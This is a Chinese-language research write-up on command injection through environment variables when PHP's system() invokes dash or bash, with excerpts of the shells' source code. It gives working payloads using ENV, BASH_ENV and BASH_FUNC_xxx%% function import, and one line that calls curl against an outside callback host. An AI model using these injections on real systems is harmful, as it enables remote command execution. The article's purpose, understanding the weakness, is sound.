前言
参考文章https://tttang.com/archive/1450/#toc_0x03-dash
分析
分析PHP的system函数的代码,然后发现PHP的system调用的是系统的popen(),继续分析popen究竟在做什么,popen()仍然没完,还得继续套娃下去,实际上popen最终执行的是spawn_process函数:static bool
spawn_process (posix_spawn_file_actions_t *fa, FILE *fp, const char *command,
int do_cloexec, int pipe_fds[2], int parent_end, int child_end,
int child_pipe_fd)
{
//...
if (__posix_spawn (&((_IO_proc_file *) fp)->pid, _PATH_BSHELL, fa, 0,
(char *const[]){ (char*) "sh", (char*) "-c",
(char *) command, NULL }, __environ) != 0)
return false;
//...
return true;
}
从第九行代码中,我们发现,最终执行的是“sh”, (char*) “-c”,即命令sh -c “echo hello”
现在我们来思考,我可以控制执行sh -c “echo hello”时的环境变量,是否可以getshell?
sh -c “echo hello”实质上执行了两个二进制文件,即
sh
echo
sh其实只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash。
Ubuntu系统
Ubuntu,属于debian系,在debian系操作系统中,sh指向dash
来到dash,在dash的main函数中有一句很重要的话
if ((shinit = lookupvar("ENV")) != NULL && *shinit != '\0') {
read_profile(shinit);
}
lookupvar用于查找上下文中的变量,在shell中变量即为环境变量,所以这里等于找到了一个名为ENV的环境变量并传入read_profile函数中。read_profile函数作用是读取SHELL中的profile文件比如类似于$HOME/.profile这种:
STATIC void
read_profile(const char *name)
{
name = expandstr(name);
if (setinputfile(name, INPUT_PUSH_FILE | INPUT_NOFILE_OK) < 0)
return;
cmdloop(0);
popfile();
}
但很有意思的是,这里它对文件名name变量做了一次expandstr,也就是解析。这个解析的目的是支持SHELL语法,比如会将$HOME解析成实际的家目录地址。既然支持SHELL语法,那么可能会支持执行命令,但可惜用如下命令不能成功注入
ENV='$(curl 675ba661.o53.xyz)' dash -c id
之后的一些分析就算了,直接看结论,就是我们还需要加入-i参数
ENV='$(id 1>&2)' dash -i -c 'echo hello'
就可以成功执行命令。
centos
在centos系操作系统中,sh指向bash。在Bash中这个环境变量叫BASH_ENV,然后借上面的分析执行一波,发现BASH_ENV='$(id 1>&2)' bash -c 'echo hello'执行成功
但是如果是sh -c就不能执行
直接给结论
variables.c的initialize_shell_variables函数用于将环境变量注册成SHELL的变量,其中包含的一段代码引起了我的注意:
for (string_index = 0; env && (string = env[string_index++]); ) {
name = string;
// ...
if (privmode == 0 && read_but_dont_execute == 0 &&
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
STREQN ("() {", string, 4))
{
size_t namelen;
char *tname; /* desired imported function name */
namelen = char_index - BASHFUNC_PREFLEN - BASHFUNC_SUFFLEN;
tname = name + BASHFUNC_PREFLEN; /* start of func name */
tname[namelen] = '\0'; /* now tname == func name */
string_length = strlen (string);
temp_string = (char *)xmalloc (namelen + string_length + 2);
memcpy (temp_string, tname, namelen);
temp_string[namelen] = ' ';
memcpy (temp_string + namelen + 1, string, string_length + 1);
/* Don't import function names that are invalid identifiers from the
environment in posix mode, though we still allow them to be defined as
shell variables. */
if (absolute_program (tname) == 0 && (posixly_correct == 0 || legal_identifier (tname)))
parse_and_execute (temp_string, tname, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
else
free (temp_string); /* parse_and_execute does this */
//...
}
}
这里for遍历了所有环境变量,并用=分割,name就是环境变量名,string是值。
当满足下面这些条件的情况下,temp_string将被传入parse_and_execute执行:
privmode == 0,即不能传入-p参数
read_but_dont_execute == 0,即不能传入-n参数
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10个字符等于BASH_FUNC_
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN),环境变量名后两个字符等于%%
STREQN ("() {", string, 4),环境变量的值前4个字符等于() {
前两个条件肯定是满足的,后三个条件是用户可控的,所以这个if语句是肯定可以进入的。进入if语句后,去除前缀BASH_FUNC_和后缀%%的部分将是一个变量名,而由() {开头的字符串将会被执行。
这里其实做的就是一件事:根据环境变量的值初始化一个匿名函数,并赋予其名字。
所以,我们传入下面这样一个环境变量,将会在Bash上下文中添加一个myfunc函数:
env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
再比如后面如果是echo函数,我们就改为BASH_FUNC_echo%%=() { id; }
Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如TEST=() { :; }; id;
Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
总结
本文完整地讲述了我是如何研究环境变量注入导致的安全问题。
经过阅读dash和bash的代码,我发现了这样一些可以导致命令注入的环境变量:
BASH_ENV:可以在bash -c的时候注入任意命令
ENV:可以在sh -i -c的时候注入任意命令
PS1:可以在sh或bash交互式环境下执行任意命令
PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
BASH_FUNC_xxx%%:可以在bash -c或sh -c的时候执行任意命令